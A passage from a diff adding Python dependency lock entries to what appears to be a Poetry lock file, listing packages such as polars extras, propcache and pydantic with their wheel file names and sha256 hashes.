"sha256:d1c53a828eedc215fb0dabc7cef02c6f4ad042157512ddb99840fd42b8da1e8a"}, + {file = "polars-1.32.2-cp39-abi3-win_amd64.whl", hash = "sha256:5e1660a584e89e1d60cd89984feca38a695e491a966581fefe8be99c230ea154"}, + {file = "polars-1.32.2-cp39-abi3-win_arm64.whl", hash = "sha256:cd390364f6f3927474bd0aed255103195b9d2b3eef0f0c5bb429db5e6311615e"}, + {file = "polars-1.32.2.tar.gz", hash = "sha256:b4c5cefc7cf7a2461f8800cf2c09976c47cb1fd959c6ef3024d5618b497f05d3"}, +] + +[package.extras] +adbc = ["adbc-driver-manager[dbapi]", "adbc-driver-sqlite[dbapi]"] +all = ["polars[async,cloudpickle,database,deltalake,excel,fsspec,graph,iceberg,numpy,pandas,plot,pyarrow,pydantic,style,timezone]"] +async = ["gevent"] +calamine = ["fastexcel (>=0.9)"] +cloudpickle = ["cloudpickle"] +connectorx = ["connectorx (>=0.3.2)"] +database = ["polars[adbc,connectorx,sqlalchemy]"] +deltalake = ["deltalake (>=1.0.0)"] +excel = ["polars[calamine,openpyxl,xlsx2csv,xlsxwriter]"] +fsspec = ["fsspec"] +gpu = ["cudf-polars-cu12"] +graph = ["matplotlib"] +iceberg = ["pyiceberg (>=0.7.1)"] +numpy = ["numpy (>=1.16.0)"] +openpyxl = ["openpyxl (>=3.0.0)"] +pandas = ["pandas", "polars[pyarrow]"] +plot = ["altair (>=5.4.0)"] +polars-cloud = ["polars-cloud (>=0.0.1a1)"] +pyarrow = ["pyarrow (>=7.0.0)"] +pydantic = ["pydantic"] +sqlalchemy = ["polars[pandas]", "sqlalchemy"] +style = ["great-tables (>=0.8.0)"] +timezone = ["tzdata"] +xlsx2csv = ["xlsx2csv (>=0.8.0)"] +xlsxwriter = ["xlsxwriter"] + +[[package]] +name = "pre-commit" +version = "4.2.0" +description = "A framework for managing and maintaining multi-language pre-commit hooks." +optional = false +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "pre_commit-4.2.0-py2.py3-none-any.whl", hash = "sha256:a009ca7205f1eb497d10b845e52c838a98b6cdd2102a6c8e4540e94ee75c58bd"}, + {file = "pre_commit-4.2.0.tar.gz", hash = "sha256:601283b9757afd87d40c4c4a9b2b5de9637a8ea02eaff7adc2d0fb4e04841146"}, +] + +[package.dependencies] +cfgv = ">=2.0.0" +identify = ">=1.0.0" +nodeenv = ">=0.11.1" +pyyaml = ">=5.1" +virtualenv = ">=20.10.0" + +[[package]] +name = "prompt-toolkit" +version = "3.0.51" +description = "Library for building powerful interactive command lines in Python" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "prompt_toolkit-3.0.51-py3-none-any.whl", hash = "sha256:52742911fde84e2d423e2f9a4cf1de7d7ac4e51958f648d9540e0fb8db077b07"}, + {file = "prompt_toolkit-3.0.51.tar.gz", hash = "sha256:931a162e3b27fc90c86f1b48bb1fb2c528c2761475e57c9c06de13311c7b54ed"}, +] + +[package.dependencies] +wcwidth = "*" + +[[package]] +name = "propcache" +version = "0.3.2" +description = "Accelerated property cache" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "propcache-0.3.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:22d9962a358aedbb7a2e36187ff273adeaab9743373a272976d2e348d08c7770"}, + {file = "propcache-0.3.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0d0fda578d1dc3f77b6b5a5dce3b9ad69a8250a891760a548df850a5e8da87f3"}, + {file = "propcache-0.3.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:3def3da3ac3ce41562d85db655d18ebac740cb3fa4367f11a52b3da9d03a5cc3"}, + {file = "propcache-0.3.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9bec58347a5a6cebf239daba9bda37dffec5b8d2ce004d9fe4edef3d2815137e"}, + {file = "propcache-0.3.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:55ffda449a507e9fbd4aca1a7d9aa6753b07d6166140e5a18d2ac9bc49eac220"}, + {file = "propcache-0.3.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:64a67fb39229a8a8491dd42f864e5e263155e729c2e7ff723d6e25f596b1e8cb"}, + {file = "propcache-0.3.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9da1cf97b92b51253d5b68cf5a2b9e0dafca095e36b7f2da335e27dc6172a614"}, + {file = "propcache-0.3.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5f559e127134b07425134b4065be45b166183fdcb433cb6c24c8e4149056ad50"}, + {file = "propcache-0.3.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:aff2e4e06435d61f11a428360a932138d0ec288b0a31dd9bd78d200bd4a2b339"}, + {file = "propcache-0.3.2-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:4927842833830942a5d0a56e6f4839bc484785b8e1ce8d287359794818633ba0"}, + {file = "propcache-0.3.2-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:6107ddd08b02654a30fb8ad7a132021759d750a82578b94cd55ee2772b6ebea2"}, + {file = "propcache-0.3.2-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:70bd8b9cd6b519e12859c99f3fc9a93f375ebd22a50296c3a295028bea73b9e7"}, + {file = "propcache-0.3.2-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:2183111651d710d3097338dd1893fcf09c9f54e27ff1a8795495a16a469cc90b"}, + {file = "propcache-0.3.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:fb075ad271405dcad8e2a7ffc9a750a3bf70e533bd86e89f0603e607b93aa64c"}, + {file = "propcache-0.3.2-cp310-cp310-win32.whl", hash = "sha256:404d70768080d3d3bdb41d0771037da19d8340d50b08e104ca0e7f9ce55fce70"}, + {file = "propcache-0.3.2-cp310-cp310-win_amd64.whl", hash = "sha256:7435d766f978b4ede777002e6b3b6641dd229cd1da8d3d3106a45770365f9ad9"}, + {file = "propcache-0.3.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:0b8d2f607bd8f80ddc04088bc2a037fdd17884a6fcadc47a96e334d72f3717be"}, + {file = "propcache-0.3.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:06766d8f34733416e2e34f46fea488ad5d60726bb9481d3cddf89a6fa2d9603f"}, + {file = "propcache-0.3.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a2dc1f4a1df4fecf4e6f68013575ff4af84ef6f478fe5344317a65d38a8e6dc9"}, + {file = "propcache-0.3.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:be29c4f4810c5789cf10ddf6af80b041c724e629fa51e308a7a0fb19ed1ef7bf"}, + {file = "propcache-0.3.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:59d61f6970ecbd8ff2e9360304d5c8876a6abd4530cb752c06586849ac8a9dc9"}, + {file = "propcache-0.3.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:62180e0b8dbb6b004baec00a7983e4cc52f5ada9cd11f48c3528d8cfa7b96a66"}, + {file = "propcache-0.3.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c144ca294a204c470f18cf4c9d78887810d04a3e2fbb30eea903575a779159df"}, + {file = "propcache-0.3.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c5c2a784234c28854878d68978265617aa6dc0780e53d44b4d67f3651a17a9a2"}, + {file = "propcache-0.3.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:5745bc7acdafa978ca1642891b82c19238eadc78ba2aaa293c6863b304e552d7"}, + {file = "propcache-0.3.2-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:c0075bf773d66fa8c9d41f66cc132ecc75e5bb9dd7cce3cfd14adc5ca184cb95"}, + {file = "propcache-0.3.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:5f57aa0847730daceff0497f417c9de353c575d8da3579162cc74ac294c5369e"}, + {file = "propcache-0.3.2-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:eef914c014bf72d18efb55619447e0aecd5fb7c2e3fa7441e2e5d6099bddff7e"}, + {file = "propcache-0.3.2-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:2a4092e8549031e82facf3decdbc0883755d5bbcc62d3aea9d9e185549936dcf"}, + {file = "propcache-0.3.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:85871b050f174bc0bfb437efbdb68aaf860611953ed12418e4361bc9c392749e"}, + {file = "propcache-0.3.2-cp311-cp311-win32.whl", hash = "sha256:36c8d9b673ec57900c3554264e630d45980fd302458e4ac801802a7fd2ef7897"}, + {file = "propcache-0.3.2-cp311-cp311-win_amd64.whl", hash = "sha256:e53af8cb6a781b02d2ea079b5b853ba9430fcbe18a8e3ce647d5982a3ff69f39"}, + {file = "propcache-0.3.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:8de106b6c84506b31c27168582cd3cb3000a6412c16df14a8628e5871ff83c10"}, + {file = "propcache-0.3.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:28710b0d3975117239c76600ea351934ac7b5ff56e60953474342608dbbb6154"}, + {file = "propcache-0.3.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ce26862344bdf836650ed2487c3d724b00fbfec4233a1013f597b78c1cb73615"}, + {file = "propcache-0.3.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bca54bd347a253af2cf4544bbec232ab982f4868de0dd684246b67a51bc6b1db"}, + {file = "propcache-0.3.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:55780d5e9a2ddc59711d727226bb1ba83a22dd32f64ee15594b9392b1f544eb1"}, + {file = "propcache-0.3.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:035e631be25d6975ed87ab23153db6a73426a48db688070d925aa27e996fe93c"}, + {file = "propcache-0.3.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ee6f22b6eaa39297c751d0e80c0d3a454f112f5c6481214fcf4c092074cecd67"}, + {file = "propcache-0.3.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7ca3aee1aa955438c4dba34fc20a9f390e4c79967257d830f137bd5a8a32ed3b"}, + {file = "propcache-0.3.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:7a4f30862869fa2b68380d677cc1c5fcf1e0f2b9ea0cf665812895c75d0ca3b8"}, + {file = "propcache-0.3.2-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:b77ec3c257d7816d9f3700013639db7491a434644c906a2578a11daf13176251"}, + {file = "propcache-0.3.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:cab90ac9d3f14b2d5050928483d3d3b8fb6b4018893fc75710e6aa361ecb2474"}, + {file = "propcache-0.3.2-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:0b504d29f3c47cf6b9e936c1852246c83d450e8e063d50562115a6be6d3a2535"}, + {file = "propcache-0.3.2-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:ce2ac2675a6aa41ddb2a0c9cbff53780a617ac3d43e620f8fd77ba1c84dcfc06"}, + {file = "propcache-0.3.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:62b4239611205294cc433845b914131b2a1f03500ff3c1ed093ed216b82621e1"}, + {file = "propcache-0.3.2-cp312-cp312-win32.whl", hash = "sha256:df4a81b9b53449ebc90cc4deefb052c1dd934ba85012aa912c7ea7b7e38b60c1"}, + {file = "propcache-0.3.2-cp312-cp312-win_amd64.whl", hash = "sha256:7046e79b989d7fe457bb755844019e10f693752d169076138abf17f31380800c"}, + {file = "propcache-0.3.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ca592ed634a73ca002967458187109265e980422116c0a107cf93d81f95af945"}, + {file = "propcache-0.3.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:9ecb0aad4020e275652ba3975740f241bd12a61f1a784df044cf7477a02bc252"}, + {file = "propcache-0.3.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:7f08f1cc28bd2eade7a8a3d2954ccc673bb02062e3e7da09bc75d843386b342f"}, + {file = "propcache-0.3.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d1a342c834734edb4be5ecb1e9fb48cb64b1e2320fccbd8c54bf8da8f2a84c33"}, + {file = "propcache-0.3.2-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8a544caaae1ac73f1fecfae70ded3e93728831affebd017d53449e3ac052ac1e"}, + {file = "propcache-0.3.2-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:310d11aa44635298397db47a3ebce7db99a4cc4b9bbdfcf6c98a60c8d5261cf1"}, + {file = "propcache-0.3.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4c1396592321ac83157ac03a2023aa6cc4a3cc3cfdecb71090054c09e5a7cce3"}, + {file = "propcache-0.3.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8cabf5b5902272565e78197edb682017d21cf3b550ba0460ee473753f28d23c1"}, + {file = "propcache-0.3.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0a2f2235ac46a7aa25bdeb03a9e7060f6ecbd213b1f9101c43b3090ffb971ef6"}, + {file = "propcache-0.3.2-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:92b69e12e34869a6970fd2f3da91669899994b47c98f5d430b781c26f1d9f387"}, + {file = "propcache-0.3.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:54e02207c79968ebbdffc169591009f4474dde3b4679e16634d34c9363ff56b4"}, + {file = "propcache-0.3.2-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:4adfb44cb588001f68c5466579d3f1157ca07f7504fc91ec87862e2b8e556b88"}, + {file = "propcache-0.3.2-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:fd3e6019dc1261cd0291ee8919dd91fbab7b169bb76aeef6c716833a3f65d206"}, + {file = "propcache-0.3.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4c181cad81158d71c41a2bce88edce078458e2dd5ffee7eddd6b05da85079f43"}, + {file = "propcache-0.3.2-cp313-cp313-win32.whl", hash = "sha256:8a08154613f2249519e549de2330cf8e2071c2887309a7b07fb56098f5170a02"}, + {file = "propcache-0.3.2-cp313-cp313-win_amd64.whl", hash = "sha256:e41671f1594fc4ab0a6dec1351864713cb3a279910ae8b58f884a88a0a632c05"}, + {file = "propcache-0.3.2-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:9a3cf035bbaf035f109987d9d55dc90e4b0e36e04bbbb95af3055ef17194057b"}, + {file = "propcache-0.3.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:156c03d07dc1323d8dacaa221fbe028c5c70d16709cdd63502778e6c3ccca1b0"}, + {file = "propcache-0.3.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:74413c0ba02ba86f55cf60d18daab219f7e531620c15f1e23d95563f505efe7e"}, + {file = "propcache-0.3.2-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f066b437bb3fa39c58ff97ab2ca351db465157d68ed0440abecb21715eb24b28"}, + {file = "propcache-0.3.2-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f1304b085c83067914721e7e9d9917d41ad87696bf70f0bc7dee450e9c71ad0a"}, + {file = "propcache-0.3.2-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ab50cef01b372763a13333b4e54021bdcb291fc9a8e2ccb9c2df98be51bcde6c"}, + {file = "propcache-0.3.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fad3b2a085ec259ad2c2842666b2a0a49dea8463579c606426128925af1ed725"}, + {file = "propcache-0.3.2-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:261fa020c1c14deafd54c76b014956e2f86991af198c51139faf41c4d5e83892"}, + {file = "propcache-0.3.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:46d7f8aa79c927e5f987ee3a80205c987717d3659f035c85cf0c3680526bdb44"}, + {file = "propcache-0.3.2-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:6d8f3f0eebf73e3c0ff0e7853f68be638b4043c65a70517bb575eff54edd8dbe"}, + {file = "propcache-0.3.2-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:03c89c1b14a5452cf15403e291c0ccd7751d5b9736ecb2c5bab977ad6c5bcd81"}, + {file = "propcache-0.3.2-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:0cc17efde71e12bbaad086d679ce575268d70bc123a5a71ea7ad76f70ba30bba"}, + {file = "propcache-0.3.2-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:acdf05d00696bc0447e278bb53cb04ca72354e562cf88ea6f9107df8e7fd9770"}, + {file = "propcache-0.3.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:4445542398bd0b5d32df908031cb1b30d43ac848e20470a878b770ec2dcc6330"}, + {file = "propcache-0.3.2-cp313-cp313t-win32.whl", hash = "sha256:f86e5d7cd03afb3a1db8e9f9f6eff15794e79e791350ac48a8c924e6f439f394"}, + {file = "propcache-0.3.2-cp313-cp313t-win_amd64.whl", hash = "sha256:9704bedf6e7cbe3c65eca4379a9b53ee6a83749f047808cbb5044d40d7d72198"}, + {file = "propcache-0.3.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:a7fad897f14d92086d6b03fdd2eb844777b0c4d7ec5e3bac0fbae2ab0602bbe5"}, + {file = "propcache-0.3.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:1f43837d4ca000243fd7fd6301947d7cb93360d03cd08369969450cc6b2ce3b4"}, + {file = "propcache-0.3.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:261df2e9474a5949c46e962065d88eb9b96ce0f2bd30e9d3136bcde84befd8f2"}, + {file = "propcache-0.3.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e514326b79e51f0a177daab1052bc164d9d9e54133797a3a58d24c9c87a3fe6d"}, + {file = "propcache-0.3.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d4a996adb6904f85894570301939afeee65f072b4fd265ed7e569e8d9058e4ec"}, + {file = "propcache-0.3.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:76cace5d6b2a54e55b137669b30f31aa15977eeed390c7cbfb1dafa8dfe9a701"}, + {file = "propcache-0.3.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:31248e44b81d59d6addbb182c4720f90b44e1efdc19f58112a3c3a1615fb47ef"}, + {file = "propcache-0.3.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:abb7fa19dbf88d3857363e0493b999b8011eea856b846305d8c0512dfdf8fbb1"}, + {file = "propcache-0.3.2-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:d81ac3ae39d38588ad0549e321e6f773a4e7cc68e7751524a22885d5bbadf886"}, + {file = "propcache-0.3.2-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:cc2782eb0f7a16462285b6f8394bbbd0e1ee5f928034e941ffc444012224171b"}, + {file = "propcache-0.3.2-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:db429c19a6c7e8a1c320e6a13c99799450f411b02251fb1b75e6217cf4a14fcb"}, + {file = "propcache-0.3.2-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:21d8759141a9e00a681d35a1f160892a36fb6caa715ba0b832f7747da48fb6ea"}, + {file = "propcache-0.3.2-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:2ca6d378f09adb13837614ad2754fa8afaee330254f404299611bce41a8438cb"}, + {file = "propcache-0.3.2-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:34a624af06c048946709f4278b4176470073deda88d91342665d95f7c6270fbe"}, + {file = "propcache-0.3.2-cp39-cp39-win32.whl", hash = "sha256:4ba3fef1c30f306b1c274ce0b8baaa2c3cdd91f645c48f06394068f37d3837a1"}, + {file = "propcache-0.3.2-cp39-cp39-win_amd64.whl", hash = "sha256:7a2368eed65fc69a7a7a40b27f22e85e7627b74216f0846b04ba5c116e191ec9"}, + {file = "propcache-0.3.2-py3-none-any.whl", hash = "sha256:98f1ec44fb675f5052cccc8e609c46ed23a35a1cfd18545ad4e29002d858a43f"}, + {file = "propcache-0.3.2.tar.gz", hash = "sha256:20d7d62e4e7ef05f221e0db2856b979540686342e7dd9973b815599c7057e168"}, +] + +[[package]] +name = "ptyprocess" +version = "0.7.0" +description = "Run a subprocess in a pseudo terminal" +optional = false +python-versions = "*" +groups = ["main"] +markers = "sys_platform != \"win32\" and sys_platform != \"emscripten\"" +files = [ + {file = "ptyprocess-0.7.0-py2.py3-none-any.whl", hash = "sha256:4b41f3967fce3af57cc7e94b888626c18bf37a083e3651ca8feeb66d492fef35"}, + {file = "ptyprocess-0.7.0.tar.gz", hash = "sha256:5c5d0a3b48ceee0b48485e0c26037c0acd7d29765ca3fbb5cb3831d347423220"}, +] + +[[package]] +name = "pure-eval" +version = "0.2.3" +description = "Safely evaluate AST nodes without side effects" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "pure_eval-0.2.3-py3-none-any.whl", hash = "sha256:1db8e35b67b3d218d818ae653e27f06c3aa420901fa7b081ca98cbedc874e0d0"}, + {file = "pure_eval-0.2.3.tar.gz", hash = "sha256:5f4e983f40564c576c7c8635ae88db5956bb2229d7e9237d03b3c0b0190eaf42"}, +] + +[package.extras] +tests = ["pytest"] + +[[package]] +name = "puremagic" +version = "1.30" +description = "Pure python implementation of magic file detection" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "puremagic-1.30-py3-none-any.whl", hash = "sha256:5eeeb2dd86f335b9cfe8e205346612197af3500c6872dffebf26929f56e9d3c1"}, + {file = "puremagic-1.30.tar.gz", hash = "sha256:f9ff7ac157d54e9cf3bff1addfd97233548e75e685282d84ae11e7ffee1614c9"}, +] + +[[package]] +name = "pycodestyle" +version = "2.14.0" +description = "Python style guide checker" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "pycodestyle-2.14.0-py2.py3-none-any.whl", hash = "sha256:dd6bf7cb4ee77f8e016f9c8e74a35ddd9f67e1d5fd4184d86c3b98e07099f42d"}, + {file = "pycodestyle-2.14.0.tar.gz", hash = "sha256:c4b5b517d278089ff9d0abdec919cd97262a3367449ea1c8b49b91529167b783"}, +] + +[[package]] +name = "pycparser" +version = "2.22" +description = "C parser in Python" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "pycparser-2.22-py3-none-any.whl", hash = "sha256:c3702b6d3dd8c7abc1afa565d7e63d53a1d0bd86cdc24edd75470f4de499cfcc"}, + {file = "pycparser-2.22.tar.gz", hash = "sha256:491c8be9c040f5390f5bf44a5b07752bd07f56edf992381b05c701439eec10f6"}, +] + +[[package]] +name = "pydantic" +version = "2.11.7" +description = "Data validation using Python type hints" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "pydantic-2.11.7-py3-none-any.whl", hash = "sha256:dde5df002701f6de26248661f6835bbe296a47bf73990135c7d07ce741b9623b"}, + {file = "pydantic-2.11.7.tar.gz", hash = "sha256:d989c3c6cb79469287b1569f7447a17848c998458d49ebe294e975b9baf0f0db"}, +] + +[package.dependencies] +annotated-types = ">=0.6.0" +email-validator = {version = ">=2.0.0", optional = true, markers = "extra == \"email\""} +pydantic-core = "2.33.2" +typing-extensions = ">=4.12.2" +typing-inspection = ">=0.4.0" + +[package.extras] +email = ["email-validator (>=2.0.0)"] +timezone = ["tzdata"] + +[[package]] +name = "pydantic-core" +version = "2.33.2" +description = "Core functionality for Pydantic validation and serialization" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "pydantic_core-2.33.2-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:2b3d326aaef0c0399d9afffeb6367d5e26ddc24d351dbc9c636840ac355dc5d8"}, + {file = "pydantic_core-2.33.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0e5b2671f05ba48b94cb90ce55d8bdcaaedb8ba00cc5359f6810fc918713983d"}, + {file = "pydantic_core-2.33.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0069c9acc3f3981b9ff4cdfaf088e98d83440a4c7ea1bc07460af3d4dc22e72d"}, + {file = "pydantic_core-2.33.2-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d53b22f2032c42eaaf025f7c40c2e3b94568ae077a606f006d206a463bc69572"}, + {file = "pydantic_core-2.33.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0405262705a123b7ce9f0b92f123334d67b70fd1f20a9372b907ce1080c7ba02"}, + {file = "pydantic_core-2.33.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4b25d91e288e2c4e0662b8038a28c6a07eaac3e196cfc4ff69de4ea3db992a1b"}, + {file = "pydantic_core-2.33.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6bdfe4b3789761f3bcb4b1ddf33355a71079858958e3a552f16d5af19768fef2"}, + {file = "pydantic_core-2.33.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:efec8db3266b76ef9607c2c4c419bdb06bf335ae433b80816089ea7585816f6a"}, + {file = "pydantic_core-2.33.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:031c57d67ca86902726e0fae2214ce6770bbe2f710dc33063187a68744a5ecac"}, + {file = "pydantic_core-2.33.2-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:f8de619080e944347f5f20de29a975c2d815d9ddd8be9b9b7268e2e3ef68605a"}, + {file = "pydantic_core-2.33.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:73662edf539e72a9440129f231ed3757faab89630d291b784ca99237fb94db2b"}, + {file = "pydantic_core-2.33.2-cp310-cp310-win32.whl", hash = "sha256:0a39979dcbb70998b0e505fb1556a1d550a0781463ce84ebf915ba293ccb7e22"}, + {file = "pydantic_core-2.33.2-cp310-cp310-win_amd64.whl", hash = "sha256:b0379a2b24882fef529ec3b4987cb5d003b9cda32256024e6fe1586ac45fc640"}, + {file = "pydantic_core-2.33.2-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:4c5b0a576fb381edd6d27f0a85915c6daf2f8138dc5c267a57c08a62900758c7"}, + {file = "pydantic_core-2.33.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e799c050df38a639db758c617ec771fd8fb7a5f8eaaa4b27b101f266b216a246"}, + {file = "pydantic_core-2.33.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dc46a01bf8d62f227d5ecee74178ffc448ff4e5197c756331f71efcc66dc980f"}, + {file = "pydantic_core-2.33.2-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a144d4f717285c6d9234a66778059f33a89096dfb9b39117663fd8413d582dcc"}, + {file = "pydantic_core-2.33.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:73cf6373c21bc80b2e0dc88444f41ae60b2f070ed02095754eb5a01df12256de"}, + {file = "pydantic_core-2.33.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3dc625f4aa79713512d1976fe9f0bc99f706a9dee21dfd1810b4bbbf228d0e8a"}, + {file = "pydantic_core-2.33.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:881b21b5549499972441da4758d662aeea93f1923f953e9cbaff14b8b9565aef"}, + {file = "pydantic_core-2.33.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:bdc25f3681f7b78572699569514036afe3c243bc3059d3942624e936ec93450e"}, + {file = "pydantic_core-2.33.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:fe5b32187cbc0c862ee201ad66c30cf218e5ed468ec8dc1cf49dec66e160cc4d"}, + {file = "pydantic_core-2.33.2-cp311-cp311-musllinux_1_1_armv7l.whl", hash = "sha256:bc7aee6f634a6f4a95676fcb5d6559a2c2a390330098dba5e5a5f28a2e4ada30"}, + {file = "pydantic_core-2.33.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = 